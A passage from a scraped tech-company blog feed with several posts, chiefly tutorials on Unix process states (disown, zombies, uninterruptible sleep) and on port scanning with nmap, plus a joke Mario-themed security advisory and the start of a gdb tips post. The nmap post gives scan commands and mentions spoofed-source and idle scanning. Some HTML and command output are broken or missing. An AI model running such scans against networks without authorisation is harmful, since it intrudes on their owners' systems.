buzzers, and blinky lights besides. If your server room has a sweet control panel, we'd love to see a picture!</p> </div> ~<a href="">keegan </a> <" /> Improving your social life with git wdaher 2011-05-07T04:00:00+00:00 2012-08-03T14:41:10+00:00 I've used RCS, CVS, Subversion, and Perforce. Then I discovered distributed version control systems. Specifically, I discovered git. Lightweight branching? Clean histories? And you can work offline? It seemed to be too good to be true. <p> But one important question remained unanswered: <strong>Can git help improve my social life?</strong> Today, we present to you the astonishing results: why yes, yes it can. Introducing gitionary. The brainchild of <a href="">Liz Denys</a> and <a href="">Nelson Elhage</a>, it's what you get when you mash up Pictionary, git, and some of your nerdiest friends.</p> <p> Contestants get randomly assigned git commands and are asked to illustrate them. They put this bold idea to the test quite some time ago in an experiment/party known only as <code>git drunk</code> (yes, some alcohol may have been involved), and we've reproduced selected results below. Each drawing is signed with the artist's username, and the time it took our studio audience to correctly guess the git command.</p> <p> Suffice it to say, git is complicated. Conceptually, git is best modeled as a set of transformations on a directed acyclic graph, and sometimes it's easiest to illustrate it that way, as with this illustration of <code>git rebase</code>:</p> <p><a href=""><img class="size-full wp-image-3444" title="git rebase, as illustrated by fawkes, recognized in 10 seconds" src="" width="539" height="640" /></a></p> <p> On other occasions, a more literal interpretation works best:</p> <p><a href=""><img class="size-full wp-image-3447" title="git pull, as illustrated by wdaher, recognized in 4 seconds" src="" width="526" height="640" /></a></p> <p> But not always:</p> <p><a href=""><img class="size-full wp-image-3446" title="git tag, as illustrated by kasittig, recognized in 2 minutes 12 seconds" src="" width="551" height="640" /></a></p> <p> A little creativity never hurts, though, which is why this is my personal favorite from the evening:</p> <p><a href=""><img class="size-full wp-image-3445" title="git commit, as illustrated by lizdenys, guessed in 21 seconds" src="" width="541" height="640" /></a></p> <p> You can find more details (and the full photoset from the evening) at <a href="">Liz's writeup of the event</a>. Download the <a href="">gitionary cards</a>, print them double-sided on card stock, and send us pictures of your own gitionary parties!</p> <p>~<a href="">wda" /> Security Advisory: Plumber Injection Attack in Bowser's Castle Ksplice Post Importer 2011-03-31T23:00:00+00:00 2012-08-03T14:16:43+00:00 <link rel="stylesheet" type="text/css" href="" /> <dl class="keyvalue"> <dt>Advisory Name:</dt> <dd>Plumber Injection Attack in Bowser's Castle</dd> <dt>Release Date:</dt> <dd>2011-04-01</dd> <dt>Application:</dt> <dd>Bowser's Castle</dd> <dt>Affected Versions:</dt> <dd>Super Mario Bros., Super Mario Bros.: The Lost Levels</dd> <dt>Identifier:</dt> <dd>SMB-1985-0001</dd> <dt>Advisory URL:</dt> <dd><a href=""></a></dd> </dl> <h3>Vulnerability Overview</h3> <hr /> <p>Multiple versions of Bowser's Castle are vulnerable to a plumber injection attack. An Italian plumber could exploit this bug to bypass security measures (walk through walls) in order to rescue Peach, to defeat Bowser, or for unspecified other impact.</p> <p> </p> <h3>Exploit</h3> <hr /> <span class="embed-youtube" style="text-align: center; display: block; "> <object style="height: 390px; width: 640px; " width="640" height="390"><param name="movie" value="" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="opaque" /><embed type="application/x-shockwave-flash" width="640" height="390" src="" allowscriptaccess="always" allowfullscreen="true" title="Flash" /></object> </span> <p>This vulnerability is demonstrated by <a href="">"happylee-supermariobros,warped.fm2"</a>. Attacks using this exploit have been observed in the wild, and multiple other exploits are publicly available.</p> <p> </p> <h3>Affected Versions</h3> <hr /> <p>Versions of Bowser's Castle as shipped in <a href=".">Super Mario Bros.</a> and <a href="">Super Mario Bros.: The Lost Levels</a> are affected.</p> <h3>Solution</h3> <hr /> <p> </p> <p> An independently developed <a href="">patch</a> is available:</p> <p> </p> <pre><code>--- </code></pre> <p>A <a href="">binary hot patch</a> to apply the update to an existing version is also available.</p> <p> All users are advised to upgrade.</p> <p> </p> <h3>Mitigations</h3> <hr /> <p>For users unable to apply the recommended fix, a number of mitigations are possible to reduce the impact of the vulnerability.</p> <p> <strong>NOTE THAT NO MITIGATION IS BELIEVED TO BE COMPLETELY EFFECTIVE.</strong></p> <p> Potential mitigations include:</p> <ul> <li>Employing standard defense-in-depth strategies incorporating multiple layers of defense, including <a href="">Goombas</a>, <a href="">Koopa Troopas</a>, <a href="">Bullet Bills</a>, and others.</li> <li>Installing <a href="">poison mushrooms</a> outside your castle.</li> <li>Installing a <a href="">firewall</a> to limit access to affected systems.</li> <li>Frequently moving your princess between <a href="">different castles</a>.</li> </ul> <h3>Credit</h3> <hr /> <p>The vulnerability was originally discovered by Mario and Luigi, of Mario Bros. Security Research.</p> <p> The provided patch and this advisory were prepared by Lakitu Cloud Security, Inc. The hot patch was developed in collaboration with <a href="">Ksplice, Inc.</a></p> <p> </p> <h3>Product Overview</h3> <hr /> <p><a href="">Bowser's Castle</a> is King Bowser's home and the base of operations for the Koopa Troop. Bowser's Castle is the final defense against assaults by Mario to kidnap Princess Peach, and is guarded by Bowser's most powerful minions.</p> <p> </p> <p>~<a href="">nelh" /> disown, zombie children, and the uninterruptible sleep Ksplice Post Importer 2011-03-16T23:00:00+00:00 2012-08-03T14:20:12+00:00 <link href="" type="text/css" rel="stylesheet" /> <p align="center"><a name="durer" href="#durerfn"><img src="" alt="PID 1 Riding, by Albrecht Dürer" title="PID 1 Riding, by Albrecht Dürer" width="400" class="size-medium wp-image-3342" /></a></p> <!--start_raw--> <div class="keegan"> <p>It's the end of the day on Friday. On your laptop, in an ssh session on a work machine, you check on <code>long.sh</code>, which has been running all day and has another 8 or 9 hours to go. You start to close your laptop.</p> <p>You freeze for a second and groan.</p> <p>This was supposed to be running under a <a href="">screen session</a>. You know that if you kill the ssh connection, that'll also kill <code>long.sh</code>. What are you going to do? Leave your laptop for the weekend? Kill the job, losing the last 8 hours of work?</p> <p>You think about what <code>long.sh</code> does for a minute, and breathe a sigh of relief. The output is written to a file, so you don't care about terminal output. This means you can use <a href="">disown</a>.</p> <p>How does this little shell built-in let your jobs finish even when you kill the parent process (the shell inside the ssh connection)?</p> <h3>Dissecting disown</h3> As we'll see, <code>disown</code> synthesizes 3 big UNIX concepts: <a href="">signals</a>, <a href="">process states</a>, and <a href="">job control</a>. <p>The point of disowning a process is that it will continue to run even when you exit the shell that spawned it. Getting this to work requires a prelude. The steps are:</p> <ol> <li>suspend the process with <code>ctl-Z</code>.</li> <li>background with <code>bg</code>.</li> <li><code>disown</code> the job.</li> </ol> <p>What does each of these steps accomplish?</p> <p><a href="">First, here's a summary of the states that a process can be in, from the </a><a href="">ps man page</a>:</p> <pre</pre> <p>And here is a transcript of the steps to <code>disown</code> <code>long.sh</code>. To the right of each step is some useful <code>ps</code> output, in particular the parent process id (<strong>PPID</strong>), what process state our long job is in (<strong>STAT</strong>), and the controlling terminal (<strong>TT</strong>). I've highlighted the interesting changes:</p> <div border="5" padding="5" margin="5"> <table frame="box"> <tbody> <tr bgcolor="#F2F2F2"> <td><font size="+1"><strong>Shell 1: <code>disown</code></strong></font></td> <td><font size="+1"><strong>Shell 2: monitor with <code>ps</code></strong></font></td> </tr> <tr> <td>1. Start program</td> <td> </td> </tr> <tr> <td> <pre><span class="Prompt">$</span> <span class="Entry">sh long.sh</span></pre> </td> <td> <pre><span class="Prompt">$</span> <span class="Entry">ps -o pid,ppid,stat,tty,cmd $(pgrep -f long)</span> PID PPID STAT TT CMD 26298 26145 <font style="background-color: #F6CECE;">S+</font> <font style="background-color: #F6CECE;">pts/0</font> sh long.sh</pre> </td> </tr> <tr> <td>2. Suspend program with Ctl-z</td> <td> </td> </tr> <tr> <td> <pre>^Z [1]+ Stopped sh long.sh</pre> </td> <td> <pre><span class="Prompt">$</span> <span class="Entry">ps -o pid,ppid,stat,tty,cmd $(pgrep -f long)</span> PID PPID STAT TT CMD 26298 26145 <font style="background-color: #F6CECE;">T</font> pts/0 sh long.sh</pre> </td> </tr> <tr> <td>3. Resume program in background</td> <td> </td> </tr> <tr> <td> <pre><span class="Prompt">$</span> <span class="Entry">bg</span> [1]+ sh long.sh &</pre> </td> <td> <pre><span class="Prompt">$</span> <span class="Entry">ps -o pid,ppid,stat,tty,cmd $(pgrep -f long)</span> PID PPID STAT TT CMD 26298 26145 <font style="background-color: #F6CECE;">S</font> pts/0 sh long.sh</pre> </td> </tr> <tr> <td>4. <code>disown</code> job 1, our program</td> <td> </td> </tr> <tr> <td> <pre><span class="Prompt">$</span> <span class="Entry">disown %1</span></pre> </td> <td> <pre><span class="Prompt">$</span> <span class="Entry">ps -o pid,ppid,stat,tty,cmd $(pgrep -f long)</span> PID PPID STAT TT CMD 26298 26145 S pts/0 sh long.sh</pre> </td> </tr> <tr> <td>5. Exit the shell</td> <td> </td> </tr> <tr> <td> <pre><span class="Prompt">$</span> <span class="Entry">exit</span> logout</pre> </td> <td> <pre><span class="Prompt">$</span> <span class="Entry">ps -o pid,ppid,stat,tty,cmd $(pgrep -f long)</span> PID PPID STAT TT CMD 26298 <font style="background-color: #F6CECE;">1</font> S <font style="background-color: #F6CECE;">?</font> sh long.sh</pre> </td> </tr> </tbody> </table> </div> <p>Putting this information together:</p> <ol> <li>When we run <code>long.sh</code> from the command line, its parent is the shell (<strong>PID 26145</strong> in this example). Even though it looks like it is running as we watch it in the terminal, it mostly isn't; <code>long.sh</code> is waiting on some resource or event, so it is in process state <strong>S</strong> for <strong>interruptible sleep</strong>. It is in fact in the <strong>foreground</strong>, so it also gets a <strong>+</strong>.</li> <li>First, we suspend the program with <code>Ctl-z</code>. By ``suspend'', we mean send it the <a href="">SIGTSTP</a> signal, which is like <a href="">SIGSTOP</a> except that you can install your own signal handler for or ignore it. We see proof in the state change: it's now in <strong>T</strong> for <strong>stopped</strong>.</li> <li>Next, <a href="">bg</a> sets our process running again, but in the <strong>background</strong>, so we get the <strong>S</strong> for <strong>interruptible sleep</strong>, but no <strong>+</strong>.</li> <li>Finally, we can use <code>disown</code> to remove the process from the jobs list that our shell maintains. Our process has to be active when it is removed from the list or it'll get reaped when we kill the parent shell, which is why we needed the <code>bg</code> step.</li> <li>When we exit the shell, we are sending it a <a href="">SIGHUP</a>, which it propagates to all children <strong>in the jobs table</strong><sup><a name="exit" href="#huponexit">**</a></sup>. By default, a <code>SIGHUP</code> will terminate a process. Because we removed our job from the jobs table, it doesn't get the <code>SIGHUP</code> and keeps on running (<strong>STAT S</strong>). However, since its parent the shell died, and the shell was the session leader in charge of the controlling tty, it doesn't have a tty anymore (<strong>TT ?</strong>). Additionally, our long job needs a new parent, so <strong>init</strong>, with <strong>PID 1</strong>, becomes the new parent process.</li> </ol> <blockquote> <a name="huponexit" href="#exit">**</a>This is not always true, as it turns out. In the <a href="">bash shell</a>, for example, there is a <code>huponexit</code> shell option. If this option is disabled, a <code>SIGHUP</code> to the shell isn't propagated to the children. This means if you have a backgrounded, active process (you followed steps 1, 2, and 3 above, or you started the process backgrounded with ``<code>&</code>'') and you exit the shell, you don't have to use <code>disown</code> for the process to keep running. You can check or toggle the <code>huponexit</code> shell option with the <a href="">shopt</a> shell built-in. </blockquote> <p>And that is <code>disown</code> in a nutshell.</p> <h3>What else can we learn about process states?</h3> <p>Dissecting <code>disown</code> presents enough interesting tangents about signals, process states, and job control for a small novel. Focusing on process states for this post, here are a few such tangents:</p> <h4>1. There are a lot of process states and modifiers. We saw some interruptible sleeps and suspended processes with <code>disown</code>, but what states are most common?</h4> <p>Using my laptop as a data source and taking advantage of <code>ps</code> format specifiers, we can get counts for the different process states:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">ps -e h -o stat | sort | uniq -c | sort -rn</span> 90 S 31 Sl 17 Ss 9 Ss+ 8 Ssl 4 S< 3 S+ 2 SNl 1 S<sl 1 S<s 1 SN 1 SLl 1 R+</pre> <p>So the vast majority are in an interruptible sleep (<strong>S</strong>), and a few processes are extra nice (<strong>N</strong>) and extra mean (<strong><</strong>).</p> <p>We can drill down on process ``<a href="">niceness</a>'', or scheduling priority, with the <code>ni</code> format specifier to <code>ps</code>:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">ps -e h -o ni | sort -n | uniq -c</span> 1 -11 2 -5 1 -4 2 -2 4 - 156 0 1 1 1 5 1 10</pre> <p>The numbers range from 19 (super friendly, low scheduling priority) to -20 (a total bully, high scheduling priority). The 6 processes with negative numbers are the 6 with a <strong><</strong> process state modifier in the ``<code>ps -e h -o stat</code>'' output, and the 3 with positive numbers have the <strong>N</strong>s. Most processes don't run under a special scheduling priority.</p> <h4>Why is almost nothing actually running?</h4> <p>In the ``<code>ps -e h -o stat</code>'' output above, only 1 process was marked as <strong>R</strong> running or runnable. This is a multi-processor machine, and there are over 150 other processes, so why isn't something running on the other processor?</p> <p>The answer is that on an unloaded system, most processes really are waiting on an event or resource, so they can't run. On the laptop where I ran these tests, <code>uptime</code> tells us that we have a load average under 1:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">uptime</span> 13:09:10 up 16 days, 14:09, 5 users, load average: 0.92, 0.87, 0.82</pre> <p>So we'd only expect to see 1 process in the <strong>R</strong> state at any given time for that load.</p> <p>If we hop over to a more loaded machine -- a shell machine at MIT -- things are a little more interesting:</p> <pre><span class="Prompt">dr-wily:~></span> <span class="Entry">ps -e -o stat,cmd | awk '{if ($1 ~/R/) print}'</span> R+ /mit/barnowl/arch/i386_deb50/bin/barnowl.real.zephyr3 R+ ps -e -o stat,cmd R+ w <span class="Prompt">dr-wily:~></span> <span class="Entry">uptime</span> 23:23:16 up 22 days, 20:09, 132 users, load average: 3.01, 3.66, 3.43 <span class="Prompt">dr-wily:~></span> <span class="Entry">grep processor /proc/cpuinfo</span> processor : 0 processor : 1 processor : 2 processor : 3</pre> <p>The machine has 4 processors. On average, 3 or 4 processors have processes running (in the <strong>R</strong> state). To get a sense of how the running processes change over time, throw the <code>ps</code> line under <code>watch</code>:</p> <pre>watch -n 1 "ps -e -o stat,cmd | awk '{if (\$1 ~/R/) print}'"</pre> <p>We get something like:</p> <img src="" alt="watching the changing output of ps" title="That's right, I made you an animated GIF" width="514" height="104" class="aligncenter size-full wp-image-3201" /> <h4>2. What about the zombies?</h4> <p>Noticeably absent in the process state summaries above are <a href="">zombie processes</a> (<strong>STAT Z</strong>) and processes in uninterruptible sleep (<strong>STAT D</strong>).</p> <p>A process becomes a zombie when it has completed execution but hasn't been reaped by its parent. If a program produces long-lived zombies, this is usually a bug; zombies are undesirable because they take up process IDs, which are a limited resource.</p> <p>I had to dig around a bit to find real examples of zombies. The winners were old <a href="">barnowl</a> zephyr clients (<a href="">zephyr</a> is a popular instant messaging system at MIT):</p> <pre><span class="Prompt">jesstess@linerva:~$</span> <span class="Entry">ps -e h -o stat,cmd | awk '{if ($1 ~/Z/) print}'</span> Z+ [barnowl] <defunct> Z+ [barnowl] <defunct></pre> <p>However, since all it takes to produce a zombie is a child exiting without the parent reaping it, it's easy to construct our own zombies of limited duration:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">cat zombie.c</span> #include <sys/types.h> int main () { pid_t child_pid = fork(); if (child_pid > 0) { sleep(60); } return 0; } <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">gcc -o zombie zombie.c</span> <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">./zombie</span> ^Z [1]+ Stopped ./zombie <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">ps -o stat,cmd $(pgrep -f zombie)</span> T ./zombie Z [zombie] <defunct></pre> <p>When you run this script, the parent dies after 60 seconds, <code>init</code> becomes the zombie child's new parent, and <code>init</code> quickly reaps the child by making a <a href="">wait system call</a> on the child's PID, which removes it from the system process table.</p> <h4>3. What about the uninterruptible sleeps?</h4> <p>A process is put in an <a href="">uninterruptible sleep</a> (<strong>STAT D</strong>) when it needs to wait on something (typically I/O) and shouldn't be handling signals while waiting. This means you can't <a href="">kill</a> it, because all <code>kill</code> does is send it signals. This might happen in the real world if you unplug your <a href="">NFS</a> server while other machines have open network connections to it.</p> <p>We can create our own uninterruptible processes of limited duration by taking advantage of the <a href="">vfork</a> system call<sup><a name="h1" href="#fn1">†</a></sup>. <code>vfork</code> is like <a href="">fork</a>, except the address space is not copied from the parent into the child, in anticipation of an <a href="">exec</a> which would just throw out the copied data. Conveniently for us, when you <code>vfork</code> the parent waits uninterruptibly (by way of <a href="">wait_on_completion</a>) on the child's <code>exec</code> or <code>exit</code>:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">cat uninterruptible.c</span> int main() { vfork(); sleep(60); return 0; } <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">gcc -o uninterruptible uninterruptible.c</span> <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">echo $$</span> 13291 <span class="Prompt">jesstess@aja:~$</span> <span class="Entry">./uninterruptible</span></pre> <p>and in another shell:</p> <pre><span class="Prompt">jesstess@aja:~$</span> <span class="Entry">ps -o ppid,pid,stat,cmd $(pgrep -f uninterruptible) </span> 13291 1972 D+ ./uninterruptible 1972 1973 S+ ./uninterruptible</pre> <p>We see the child (<strong>PID 1973, PPID 1972</strong>) in an interruptible sleep and the parent (<strong>PID 1972, PPID 13291</strong> -- the shell) in an uninterruptible sleep while it waits for 60 seconds on the child.</p> <p>One neat (mischievous?) thing about this script is that processes in an uninterruptible sleep contribute to the load average for a machine. So you could run this script 100 times to temporarily give a machine a load average elevated by 100, as reported by <code>uptime</code>.</p> <h3>It's a family affair</h3> <p>Signals, process states, and job control offer a wealth of opportunities for exploration on a Linux system: we've already disowned children, killed parents, witnessed adoption (by <code>init</code>), crafted zombie children, and more. If this post inspires fun tangents or fond memories, please share in the comments!</p> <hr /> <div class="footnote"> <p> <sup><a name="durerfn" href="#durer">*</a></sup>Albrecht had some help from <a href="">Adam</a> and Photoshop Elements. Larger version <a href="">here</a>. <br /> <sup><a name="fn1" href="#h1">†</a></sup>Props to <a href="">Nelson</a> for his boundless supply of sysadmin party tricks, which includes this <code>vfork</code> example. </p> </div> ~<a href="">jesstess </a> </div> Mapping your network with nmap Ksplice Post Importer 2011-02-21T23:00:00+00:00 2012-08-03T14:38:11+00:00 <p>If you run a computer network, be it home WiFi or a global enterprise system, you need a way to investigate the machines connected to your network. When <code>ping</code> and <code>traceroute</code> won't cut it, you need a port scanner.</p> <p><a href=""><code>nmap</code></a> is <em>the</em> port scanner. It's a powerful, sophisticated tool, not to mention a <a href="">movie star</a>. The documentation on <code>nmap</code> is voluminous: there's an <a href="">entire book</a>, with a <a href="">free online edition</a>, as well as a <a href="">detailed manpage</a>. In this post I'll show you just a few of the cool things <code>nmap</code> can do.</p> <p>The <a href="">law and ethics of port scanning</a> are complex. A network scan can be detected by humans or automated systems, and treated as a malicious act, resulting in real costs to the target. Depending on the options you choose, the traffic generated by <code>nmap</code> can range from "completely innocuous" to "watch out for admins with baseball bats". A safe rule is to avoid scanning any network without the explicit permission of its administrators — better yet if that's you.</p> <p>You'll need root privileges on the scanning system to run most interesting <code>nmap</code> commands, because <code>nmap</code> likes to bypass the standard network stack when synthesizing esoteric packets.</p> <div id="a-firm-handshake"> <h3>A firm handshake</h3> <p>Let's start by scanning my home network for web and SSH servers:</p> <pre><code><span class="Prompt">root@lyle#</span> <span class="Entry">nmap -sS -p22,80 192.168.1.0/24</span> Nmap scan report for 192.168.1.1 PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http Nmap scan report for 192.168.1.102 PORT STATE SERVICE 22/tcp filtered ssh 80/tcp filtered http Nmap scan report for 192.168.1.103 PORT STATE SERVICE 22/tcp open ssh 80/tcp closed http Nmap done: 256 IP addresses (3 hosts up) scanned in 6.05 seconds </code></pre> <p>We use <code>-p22,80</code> to ask for a scan of <a href="">TCP</a> ports 22 and 80, the most popular ports for SSH and web servers respectively. If you don't specify a <code>-p</code> option, <code>nmap</code> will scan the 1,000 most commonly-used ports. You can give a port range like <code>-p1-5000</code>, or even use <code>-p-</code> to scan all ports, but your scan will take longer.</p> <p>We describe the subnet to scan using <a href="">CIDR notation</a>. We could equivalently write <code>192.168.1.1-254</code>.</p> <p>The option <code>-sS</code> requests a TCP <code>SYN</code> scan. <code>nmap</code> will start a <a href="">TCP handshake</a> by sending a <code>SYN</code> packet. Then it waits for a response. If the target replies with <code>SYN/ACK</code>, then some program is accepting our connection. A well-behaved client should respond with <code>ACK</code>, but <code>nmap</code> will simply record an <code>open</code> port and move on. This makes an <code>nmap</code> <code>SYN</code> scan both faster and more stealthy than a normal call to <a href=""><code>connect()</code></a>.</p> <p>If the target replies with <code>RST</code>, then there's no service on that port, and <code>nmap</code> will record it as <code>closed</code>. Or we might not get a response at all. Perhaps a firewall is blocking our traffic, or the target host simply doesn't exist. In that case the port state is recorded as <code>filtered</code> after <code>nmap</code> times out.</p> <p>You can scan <a href="">UDP</a> ports by passing <code>-sU</code>. There's one important difference from TCP: Since UDP is connectionless, there's no particular response required from an open port. Therefore <code>nmap</code> may show UDP ports in the ambiguous state <code>open|filtered</code>, unless you can prod the target application into sending you data (see below).</p> <p>To save time, <code>nmap</code> tries to confirm that a target exists before performing a full scan. By default it will send <a href="">ICMP echo</a> (the ubiquitous "ping") as well as TCP <code>SYN</code> and <code>ACK</code> packets. You can use the <code>-P</code> family of options to customize this host-discovery phase.</p> </div> <div id="weird-packets"> <h3>Weird packets</h3> <p><code>nmap</code> has the ability to generate all sorts of invalid, useless, or just plain weird network traffic. You can send a TCP packet with no flags at all (null scan, <code>-sN</code>) or one that's lit up "like a Christmas tree" (Xmas scan, <code>-sX</code>). You can chop your packets into little fragments (<code>--mtu</code>) or send an invalid <a href="">checksum</a> (<code>--badsum</code>). As a network administrator, you should know if the bad guys can confuse your security systems by sending weird packets. As the manpage advises, "Let your creative juices flow".</p> <p>There's a second benefit to sending weird traffic: We can identify the target's operating system by seeing how it responds to unusual situations. <code>nmap</code> will perform this OS detection if you specify the <code>-O</code> flag:</p> <pre><code><span class="Prompt">root@lyle#</span> <span class="Entry">nmap -sS -O 192.168.1.0/24</span> Nmap scan report for 192.168.1.1 Not shown: 998 filtered ports PORT STATE SERVICE 23/tcp closed telnet 80 139/tcp open netbios-ssn 445=) ... </code></pre> <p>Since the first target has both an open and a closed port, <code>nmap</code> has many protocol corner cases to explore, and it easily recognizes a Linksys home router. With the second target, there's no port in the <code>closed</code> state, so <code>nmap</code> isn't as confident. It guesses a Windows OS, which seems especially plausible given the open <a href="">NetBIOS</a> ports. In the last case <code>nmap</code> has no clue, and gives us some raw findings only. If you know the OS of the target, you can <a href="">contribute</a> this fingerprint and help make <code>nmap</code> even better.</p> </div> <div id="behind-the-port"> <h3>Behind the port</h3> <p>It's all well and good to discover that port 1234 is open, but what's actually listening there? <code>nmap</code> has a <a href="">version detection subsystem</a> that will spam a host's open ports with data in hopes of eliciting a response. Let's pass <code>-sV</code> to try this out:</p> <pre><code><span class="Prompt">root@lyle#</span> <span class="Entry">nmap -sS -sV 192.168.1.117</span> Nmap scan report for 192.168.1.117 Not shown: 998 closed ports PORT STATE SERVICE VERSION 443/tcp open ssh OpenSSH 5.5p1 Debian 6 (protocol 2.0) 8888/tcp open http thttpd 2.25b 29dec2003 </code></pre> <p><code>nmap</code> correctly spotted an HTTP server on non-standard port 8888. The SSH server on port 443 (usually <a href="">HTTPS</a>) is also interesting. I find this setup useful when connecting from behind a restrictive outbound firewall. But I've also had network admins send me worried emails, thinking my machine has been compromised.</p> <p><code>nmap</code> also gives us the exact server software versions, straight from the server's own responses. This is a great way to quickly audit your network for any out-of-date, insecure servers.</p> <p>Since a version scan involves sending application-level probes, it's more intrusive and can cause more trouble. From the <a href="">book</a>:</p> <blockquote> <p> <p>This behavior is often undesirable, especially when a scan is meant to be stealthy.</p> </blockquote> </div> <div id="trusting-the-source"> <h3>Trusting the source</h3> <p>It's a common (if questionable) practice for servers or firewalls to trust certain traffic based on where it appears to come from. <code>nmap</code> gives you a variety of tools for mapping these trust relationships. For example, some firewalls have special rules for traffic originating on ports <a href="">53</a>, <a href="">67</a>, or <a href="">20</a>. You can set the source port for <code>nmap</code>'s TCP and UDP packets by passing <code>--source-port</code>.</p> <p>You can also spoof your source IP address using <code>-S</code>, and the target's responses will go to that fake address. This normally means that <code>nmap</code> won't see any results. But these responses can affect the unwitting source machine's IP protocol state in a way that <code>nmap</code> can observe indirectly. You can read about <code>nmap</code>'s <a href="">TCP idle scan</a> for more details on this extremely clever technique. Imagine making any machine on the Internet — or your private network — port-scan any other machine, while you collect the results in secret. Can you use this to map out trust relationships in your network? Could an attacker?</p> </div> <div id="bells-and-whistles"> <h3>Bells and whistles</h3> <p>So that's an overview of a few cool <code>nmap</code> features. There's a lot we haven't covered, such as <a href="">performance tuning</a>, <a href="">packet traces</a>, or <code>nmap</code>'s useful output modes like <a href="">XML</a> or <a href="">ScRipT KIdd|3</a>. There's even a full <a href="">scripting engine</a> with <a href="">hundreds of useful plugins</a> written in <a href="">Lua</a>.</p> ~<a href="">keegan </a> </div> Happy Birthday Ksplice Uptrack! Ksplice Post Importer 2011-02-15T23:00:00+00:00 2012-08-03T14:10:40+00:00 <p>One year ago, we announced the general availability of <a href="">Ksplice Uptrack</a>, a subscription service for rebootless kernel updates on Linux. Since then, a lot has happened!</p> <h3>Adoption</h3> <p>Over <span style="color: #326edb; font-size: 125%; "><strong>600</strong></span> companies have deployed Ksplice Uptrack on more than <span style="color: #326edb; font-size: 125%; "><strong>100,000</strong></span> production systems, on <span style="color: #326edb; font-size: 125%; "><strong>all 7 continents</strong></span> (Antarctica was the last hold-out). More than <span style="color: #326edb; font-size: 125%; "><strong>2 million</strong></span> rebootless updates have been installed!</p> <p align="center"><img src="" alt="Ksplice at the South Pole" title="Ksplice at the South Pole" width="216" height="300" class="aligncenter size-medium wp-image-3118" /> </p> <p.</p> <p>We've introduced several <a href="">features</a> this year to make managing large Uptrack installations easier:</p> <ul> <li><strong>autoinstall</strong>: the Uptrack client can be configured to install rebootless updates on its own as they become available, making kernel updates fully automatic. Autoinstall is now our most popular configuration.</li> <li>the <strong>Uptrack API</strong>: programmatically query the state of your machines through our RESTful API.</li> <li><strong>Nagios plugins</strong>: easily integrate Uptrack monitoring into your existing Nagios infrastructure with plugins that monitor for out of date, inactive, and unsupported machines.</li> </ul> <p> </p> <h3>Supported kernels</h3> <p>We continue to expand the distributions and flavors we support. You can now use Ksplice Uptrack on (deep breath) <strong>RHEL 4 & 5</strong>, <strong>CentOS 4 & 5</strong> (and <strong>CentOS Plus</strong>), <strong>Debian 5 & 6</strong>, <strong>Ubuntu 8.04, 9.10, 10.04, & 10.10</strong>, <strong>Virtuozzo 3 & 4</strong>, <strong>OpenVZ</strong> for <strong>EL5</strong> and <strong>Debian</strong>, <strong>CloudLinux 5</strong>, and <strong>Fedora 13 & 14</strong>. Within these distributions, we continue to support more flavors and older kernels; our launch may have been last year, but we support kernels back to <strong>2007 and earlier</strong>!</p> <p>You've always been able to use Ksplice in virtualized environments like <strong>VMWare</strong>, <strong>Xen</strong>, and <strong>Virtuozzo</strong>, This year, we've given you even more virtualization options by adding support for virtualization kernels like <strong>Debian OpenVZ</strong> and <strong>Debian Xen</strong>. Starting with Ubuntu Maverick, we support all Ubuntu kernel flavors, including the <strong>Maverick private cloud/EC2 kernel</strong>.</p> <p>Thanks to some changes at Amazon and Rackspace, you can now even use Ksplice Uptrack on stock Linux kernels in <strong>Amazon EC2</strong> and <strong>Rackspace Cloud</strong>.</p> <p>As always, you can roll out a <a href="">free trial</a> on any of these distributions, for an unlimited number of systems.</p> <p>This year, we also added Fedora Desktop to our <a href="">free version options</a>, so now you can use Ksplice Uptrack on both Ubuntu Desktop and Fedora Desktop completely for free.</p> <h3>Reboots saved</h3> <p>Did you know that between RHEL 4 and 5, Red Hat released <span style="color: #326edb; font-size: 125%; "><strong>22 new kernels</strong></span> this past year?</p> <p align="center"> <img src="" alt="chart: reboots on RHEL this past year" title="chart: reboots on RHEL this past year" width="498" height="100" class="size-full wp-image-3011" /> </p> <p>Without Ksplice, that's coordination and downtime for 22 reboots, including the hat trick of <span style="color: #326edb; "></span> font-size: 125%; "><strong>3 kernels in 3 weeks</strong> for RHEL 5. Gartner estimates that 90% of exploited systems are exploited using known, patched vulnerabilities, so if you're not rebooting and you're not using Ksplice, you are putting your servers (and your customers) at risk.</p> <h3>Looking forward</h3> <p>What do you want to see from Ksplice this year? What <a href="">features</a> can we add to help you deploy and monitor your Uptrack installations? <a href="mailto:ksplice-support_ww@ksplice.com">Tell us</a> what you want, and we'll do our best to deliver!</p> ~<a href="">jesstess </a> 8 gdb tricks you should know Ksplice Post Importer 2011-01-24T23:00:00+00:00 2012-08-03T14:40:28+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>Despite its age, gdb remains an amazingly versatile and flexible tool, and mastering it can save you huge amounts of time when trying to debug problems in your code. In this post, I'll share 10 tips and tricks for using GDB to debug most efficiently.</p> <p.</p> <ol> <li> <p><a name="break-if"></a><code>break WHERE if COND</code></p> <p>If you've ever used gdb, you almost certainly know about the "breakpoint" command, which lets you break at some specified point in the debugged program.</p> <p>But did you know that you can set conditional breakpoints? If you add <code>if CONDITION</code> to a breakpoint command, you can include an expression to be evaluated whenever the program reaches that point, and the program will only be stopped if the condition is fulfilled. Suppose I was debugging the Linux kernel and wanted to stop whenever init got scheduled. I could do:</p> <pre><code>(gdb) break context_switch if next == init_task </code></pre> <p.</p> </li> <li> <p><a name="command"></a><code>command</code></p> <p>In addition to conditional breakpoints, the <code>command</code> <code>mmap()</code> operation performed on a system using:</p> <pre><code>) </code></pre> </li> <li> <p><a name="--args"></a><code>gdb --args</code></p> <p:</p> <pre><code>[~]$ ... </code></pre> <p.</p> </li> <li> <p><a name="directory"></a>Finding source files</p> <p>I run Ubuntu, so I can download debug symbols for most of the packages on my system from <a href="">ddebs.ubuntu.com</a>, and I can get source using <code>apt-get source</code>. 